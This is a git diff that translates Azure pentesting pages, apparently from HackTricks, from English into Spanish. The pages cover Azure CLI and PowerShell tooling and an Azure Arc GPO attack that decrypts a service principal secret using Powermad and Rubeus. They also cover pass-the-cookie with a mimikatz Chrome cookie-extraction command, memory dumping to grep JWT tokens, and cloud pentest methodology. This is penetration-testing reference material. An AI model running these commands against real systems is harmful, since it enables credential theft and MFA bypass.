-Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): - -1. Install `brew` if not installed yet: +Instrucciones de la [**documentación**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): +1. Instala `brew` si aún no está instalado: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` - -2. Install the latest stable release of PowerShell: - +2. Instale la última versión estable de PowerShell: ```sh brew install powershell/tap/powershell ``` - -3. Run PowerShell: - +3. Ejecutar PowerShell: ```sh pwsh ``` - -4. Update: - +4. Actualización: ```sh brew update brew upgrade powershell ``` - -## Main Enumeration Tools +## Herramientas Principales de Enumeración ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts. +[**Interfaz de Línea de Comandos de Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) es una herramienta multiplataforma escrita en Python para gestionar y administrar (la mayoría de) los recursos de Azure y Entra ID. Se conecta a Azure y ejecuta comandos administrativos a través de la línea de comandos o scripts. -Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +Sigue este enlace para las [**instrucciones de instalación¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). -Commands in Azure CLI are structured using a pattern of: `az ` +Los comandos en Azure CLI están estructurados utilizando un patrón de: `az ` -#### Debug | MitM az cli - -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: +#### Depuración | MitM az cli +Usando el parámetro **`--debug`** es posible ver todas las solicitudes que la herramienta **`az`** está enviando: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Para hacer un **MitM** a la herramienta y **ver todas las solicitudes** que está enviando manualmente, puedes hacer: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} ### Az PowerShell -Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line. +Azure PowerShell es un módulo con cmdlets para gestionar recursos de Azure directamente desde la línea de comandos de PowerShell. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). +Sigue este enlace para las [**instrucciones de instalación**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). -Commands in Azure PowerShell AZ Module are structured like: `-Az ` +Los comandos en el módulo AZ de Azure PowerShell están estructurados como: `-Az ` #### Debug | MitM Az PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: - +Usando el parámetro **`-Debug`** es posible ver todas las solicitudes que la herramienta está enviando: ```bash Get-AzResourceGroup -Debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Para realizar un **MitM** a la herramienta y **ver todas las solicitudes** que está enviando manualmente, puedes establecer las variables de entorno `HTTPS_PROXY` y `HTTP_PROXY` de acuerdo con la [**documentación**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features. +Microsoft Graph PowerShell es un SDK multiplataforma que permite el acceso a todas las API de Microsoft Graph, incluidos servicios como SharePoint, Exchange y Outlook, utilizando un único punto final. Soporta PowerShell 7+, autenticación moderna a través de MSAL, identidades externas y consultas avanzadas. Con un enfoque en el acceso de menor privilegio, garantiza operaciones seguras y recibe actualizaciones regulares para alinearse con las últimas características de la API de Microsoft Graph. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +Sigue este enlace para las [**instrucciones de instalación**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). -Commands in Microsoft Graph PowerShell are structured like: `-Mg ` +Los comandos en Microsoft Graph PowerShell están estructurados como: `-Mg ` -#### Debug Microsoft Graph PowerShell - -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: +#### Depurar Microsoft Graph PowerShell +Usando el parámetro **`-Debug`** es posible ver todas las solicitudes que la herramienta está enviando: ```bash Get-MgUser -Debug ``` - ### ~~**AzureAD Powershell**~~ -The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID. +El módulo de Azure Active Directory (AD), ahora **obsoleto**, es parte de Azure PowerShell para gestionar recursos de Azure AD. Proporciona cmdlets para tareas como gestionar usuarios, grupos y registros de aplicaciones en Entra ID. > [!TIP] -> This is replaced by Microsoft Graph PowerShell - -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). - - - +> Esto es reemplazado por Microsoft Graph PowerShell +Sigue este enlace para las [**instrucciones de instalación**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e53ceb412..7349cffce 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,17 +4,16 @@ ### Identifying the Issues -Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1. +Azure Arc permite la integración de nuevos servidores internos (servidores unidos al dominio) en Azure Arc utilizando el método de Objeto de Política de Grupo. Para facilitar esto, Microsoft proporciona un kit de herramientas de implementación necesario para iniciar el procedimiento de incorporación. Dentro del archivo ArcEnableServerGroupPolicy.zip, se pueden encontrar los siguientes scripts: DeployGPO.ps1, EnableAzureArc.ps1 y AzureArcDeployment.psm1. -When executed, the DeployGPO.ps1 script performs the following actions: +Cuando se ejecuta, el script DeployGPO.ps1 realiza las siguientes acciones: -1. Creates the Azure Arc Servers Onboarding GPO within the local domain. -2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package. +1. Crea el GPO de Incorporación de Servidores Azure Arc dentro del dominio local. +2. Copia el script de incorporación EnableAzureArc.ps1 en el recurso compartido de red designado creado para el proceso de incorporación, que también contiene el paquete de instalación de Windows. -When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script. - -An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments. +Al ejecutar este script, los administradores del sistema deben proporcionar dos parámetros principales: **ServicePrincipalId** y **ServicePrincipalClientSecret**. Además, requiere otros parámetros como el dominio, el FQDN del servidor que aloja el recurso compartido y el nombre del recurso compartido. También se deben proporcionar más detalles como el ID del inquilino, el grupo de recursos y otra información necesaria al script. +Se genera un secreto cifrado en el directorio AzureArcDeploy en el recurso compartido especificado utilizando cifrado DPAPI-NG. El secreto cifrado se almacena en un archivo llamado encryptedServicePrincipalSecret. La evidencia de esto se puede encontrar en el script DeployGPO.ps1, donde el cifrado se realiza llamando a ProtectBase64 con $descriptor y $ServicePrincipalSecret como entradas. El descriptor consiste en los SIDs del grupo de Computadoras de Dominio y Controladores de Dominio, asegurando que el ServicePrincipalSecret solo pueda ser descifrado por los Controladores de Dominio y los grupos de seguridad de Computadoras de Dominio, como se indica en los comentarios del script. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR " Import-Module $PSScriptRoot\AzureArcDeployment.psm1 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret) ``` - ### Exploit -We have the follow conditions: +Tenemos las siguientes condiciones: -1. We have successfully penetrated the internal network. -2. We have the capability to create or assume control of a computer account within Active Directory. -3. We have discovered a network share containing the AzureArcDeploy directory. - -There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations. +1. Hemos penetrado con éxito la red interna. +2. Tenemos la capacidad de crear o asumir el control de una cuenta de computadora dentro de Active Directory. +3. Hemos descubierto un recurso compartido de red que contiene el directorio AzureArcDeploy. +Hay varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACLs vulnerables o varias otras configuraciones incorrectas. ```powershell Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - -Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe. - +Una vez que se obtiene una cuenta de máquina, es posible autenticarse utilizando esta cuenta. Podemos usar el comando runas.exe con la bandera netonly o usar pass-the-ticket con Rubeus.exe. ```powershell runas /user:fake01$ /netonly powershell ``` @@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` - -By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret. - +Al tener el TGT de nuestra cuenta de computadora almacenado en memoria, podemos usar el siguiente script para descifrar el secreto del principal del servicio. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret) $ebs ``` +Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). +En este punto, podemos recopilar la información restante necesaria para conectarnos a Azure desde el archivo ArcInfo.json, que se almacena en el mismo recurso compartido de red que el archivo encryptedServicePrincipalSecret. Este archivo contiene detalles como: TenantId, servicePrincipalClientId, ResourceGroup, y más. Con esta información, podemos usar Azure CLI para autenticarnos como el service principal comprometido. -At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal. - -## References +## Referencias - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 2ddcbb0a5..0761f4db9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -2,42 +2,38 @@ {{#include ../../../banners/hacktricks-training.md}} -## Local Token Storage and Security Considerations +## Almacenamiento Local de Tokens y Consideraciones de Seguridad -### Azure CLI (Command-Line Interface) +### Azure CLI (Interfaz de Línea de Comandos) -Tokens and sensitive data are stored locally by Azure CLI, raising security concerns: +Los tokens y datos sensibles se almacenan localmente por Azure CLI, lo que plantea preocupaciones de seguridad: -1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\\.Azure`. -2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details. -3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as: - - Executed commands with credentials embedded. - - URLs accessed using tokens, potentially revealing sensitive information. +1. **Tokens de Acceso**: Almacenados en texto plano dentro de `accessTokens.json` ubicado en `C:\Users\\.Azure`. +2. **Información de Suscripción**: `azureProfile.json`, en el mismo directorio, contiene detalles de la suscripción. +3. **Archivos de Registro**: La carpeta `ErrorRecords` dentro de `.azure` puede contener registros con credenciales expuestas, tales como: +- Comandos ejecutados con credenciales incrustadas. +- URLs accedidas utilizando tokens, que pueden revelar información sensible. ### Azure PowerShell -Azure PowerShell also stores tokens and sensitive data, which can be accessed locally: +Azure PowerShell también almacena tokens y datos sensibles, que pueden ser accedidos localmente: -1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\\.Azure`, stores access tokens in plaintext. -2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`. -3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access. +1. **Tokens de Acceso**: `TokenCache.dat`, ubicado en `C:\Users\\.Azure`, almacena tokens de acceso en texto plano. +2. **Secretos de Principales de Servicio**: Estos se almacenan sin cifrar en `AzureRmContext.json`. +3. **Función de Guardado de Tokens**: Los usuarios tienen la capacidad de persistir tokens utilizando el comando `Save-AzContext`, que debe usarse con precaución para prevenir accesos no autorizados. -## Automatic Tools to find them +## Herramientas Automáticas para encontrarlos - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Security Recommendations +## Recomendaciones de Seguridad -Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by: +Considerando el almacenamiento de datos sensibles en texto plano, es crucial asegurar estos archivos y directorios mediante: -- Limiting access rights to these files. -- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes. -- Employing encryption for sensitive files where possible. -- Educating users about the risks and best practices for handling such sensitive information. +- Limitación de derechos de acceso a estos archivos. +- Monitoreo y auditoría regular de estos directorios para detectar accesos no autorizados o cambios inesperados. +- Empleo de cifrado para archivos sensibles cuando sea posible. +- Educación a los usuarios sobre los riesgos y las mejores prácticas para manejar dicha información sensible. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index f2a5f2f4d..433301a5e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,40 +4,32 @@ ## Pass the Certificate (Azure) -In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism. +En máquinas unidas a Azure, es posible autenticar de una máquina a otra utilizando certificados que **deben ser emitidos por Azure AD CA** para el usuario requerido (como sujeto) cuando ambas máquinas soportan el mecanismo de autenticación **NegoEx**. -In super simplified terms: +En términos super simplificados: -- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**. -- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD** -- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**. +- La máquina (cliente) que inicia la conexión **necesita un certificado de Azure AD para un usuario**. +- El cliente crea un encabezado de JSON Web Token (JWT) que contiene PRT y otros detalles, lo firma utilizando la clave derivada (usando la clave de sesión y el contexto de seguridad) y **lo envía a Azure AD**. +- Azure AD verifica la firma del JWT utilizando la clave de sesión del cliente y el contexto de seguridad, verifica la validez del PRT y **responde** con el **certificado**. -In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack: +En este escenario y después de obtener toda la información necesaria para un ataque de [**Pass the PRT**](pass-the-prt.md): -- Username -- Tenant ID +- Nombre de usuario +- ID de inquilino - PRT -- Security context -- Derived Key - -It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +- Contexto de seguridad +- Clave derivada +Es posible **solicitar un certificado P2P** para el usuario con la herramienta [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` - -The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user. - +Los certificados durarán lo mismo que el PRT. Para usar el certificado, puedes utilizar la herramienta de python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) que **autenticará** en la máquina remota, ejecutará **PSEXEC** y **abrirá un CMD** en la máquina víctima. Esto nos permitirá usar Mimikatz nuevamente para obtener el PRT de otro usuario. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` +## Referencias -## References - -- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Para más detalles sobre cómo funciona Pass the Certificate, consulta la publicación original [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index f6695c40a..a5a0c8f38 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -2,40 +2,34 @@ {{#include ../../../banners/hacktricks-training.md}} -## Why Cookies? +## ¿Por qué Cookies? -Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate. +Las **cookies** del navegador son un gran mecanismo para **eludir la autenticación y MFA**. Dado que el usuario ya se ha autenticado en la aplicación, la **cookie** de sesión se puede usar para **acceder a datos** como ese usuario, sin necesidad de volver a autenticarse. -You can see where are **browser cookies located** in: +Puedes ver dónde están **ubicadas las cookies del navegador** en: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome {{#endref}} -## Attack +## Ataque -The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in: +La parte desafiante es que esas **cookies están encriptadas** para el **usuario** a través de la API de Protección de Datos de Microsoft (**DPAPI**). Esto está encriptado utilizando [claves criptográficas vinculadas al usuario](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) al que pertenecen las cookies. Puedes encontrar más información sobre esto en: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command: - +Con Mimikatz en mano, puedo **extraer las cookies de un usuario** aunque estén encriptadas con este comando: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` +Para Azure, nos importan las cookies de autenticación, incluyendo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** y **`ESTSAUTHLIGHT`**. Estas están presentes porque el usuario ha estado activo en Azure recientemente. -For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately. +Simplemente navega a login.microsoftonline.com y agrega la cookie **`ESTSAUTHPERSISTENT`** (generada por la opción “Mantener sesión iniciada”) o **`ESTSAUTH`**. Y estarás autenticado. -Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated. - -## References +## Referencias - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md index 28bc5b415..3a74013b5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Check:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +**Verificar:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index a79c7a659..1cf023b43 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,10 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Chec the post in** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) although another post explaining the same can be found in [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +**Consulta la publicación en** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) aunque otra publicación que explica lo mismo se puede encontrar en [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 1ba819b3a..ad94a71c5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -2,16 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Información Básica** -As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA. +Como se explica en [**este video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), algunos software de Microsoft sincronizados con la nube (Excel, Teams...) pueden **almacenar tokens de acceso en texto claro en la memoria**. Así que simplemente **volcando** la **memoria** del proceso y **buscando tokens JWT** podría otorgarte acceso a varios recursos de la víctima en la nube eludiendo MFA. -Steps: - -1. Dump the excel processes synchronized with in EntraID user with your favourite tool. -2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output -3. Find the tokens that interest you the most and run tools over them: +Pasos: +1. Volcar los procesos de excel sincronizados con el usuario de EntraID con tu herramienta favorita. +2. Ejecutar: `string excel.dmp | grep 'eyJ0'` y encontrar varios tokens en la salida. +3. Encontrar los tokens que más te interesen y ejecutar herramientas sobre ellos: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -31,11 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` - -**Note that these kind of access tokens can be also found inside other processes.** +**Tenga en cuenta que este tipo de tokens de acceso también se pueden encontrar dentro de otros procesos.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 39ee71d6c..0c7c95e37 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,10 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**. +Para comenzar las pruebas, debes tener acceso con un usuario con **permisos de Lector sobre la suscripción** y **rol de Lector Global en AzureAD**. Si incluso en ese caso **no puedes acceder al contenido de las cuentas de Almacenamiento**, puedes solucionarlo con el **rol de Contribuyente de Cuenta de Almacenamiento**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 0be67db54..fd7a85a96 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,48 +1,47 @@ -# Pentesting Cloud Methodology +# Metodología de Pentesting en la Nube {{#include ../banners/hacktricks-training.md}}
-## Basic Methodology +## Metodología Básica -Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment: +Cada nube tiene sus propias peculiaridades, pero en general hay algunas **cosas comunes que un pentester debe verificar** al probar un entorno en la nube: -- **Benchmark checks** - - This will help you **understand the size** of the environment and **services used** - - It will allow you also to find some **quick misconfigurations** as you can perform most of this tests with **automated tools** -- **Services Enumeration** - - You probably won't find much more misconfigurations here if you performed correctly the benchmark tests, but you might find some that weren't being looked for in the benchmark test. - - This will allow you to know **what is exactly being used** in the cloud env - - This will help a lot in the next steps -- **Check exposed assets** - - This can be done during the previous section, you need to **find out everything that is potentially exposed** to the Internet somehow and how can it be accessed. - - Here I'm taking **manually exposed infrastructure** like instances with web pages or other ports being exposed, and also about other **cloud managed services that can be configured** to be exposed (such as DBs or buckets) - - Then you should check **if that resource can be exposed or not** (confidential information? vulnerabilities? misconfigurations in the exposed service?) -- **Check permissions** - - Here you should **find out all the permissions of each role/user** inside the cloud and how are they used - - Too **many highly privileged** (control everything) accounts? Generated keys not used?... Most of these check should have been done in the benchmark tests already - - If the client is using OpenID or SAML or other **federation** you might need to ask them for further **information** about **how is being each role assigned** (it's not the same that the admin role is assigned to 1 user or to 100) - - It's **not enough to find** which users has **admin** permissions "\*:\*". There are a lot of **other permissions** that depending on the services used can be very **sensitive**. - - Moreover, there are **potential privesc** ways to follow abusing permissions. All this things should be taken into account and **as much privesc paths as possible** should be reported. -- **Check Integrations** - - It's highly probably that **integrations with other clouds or SaaS** are being used inside the cloud 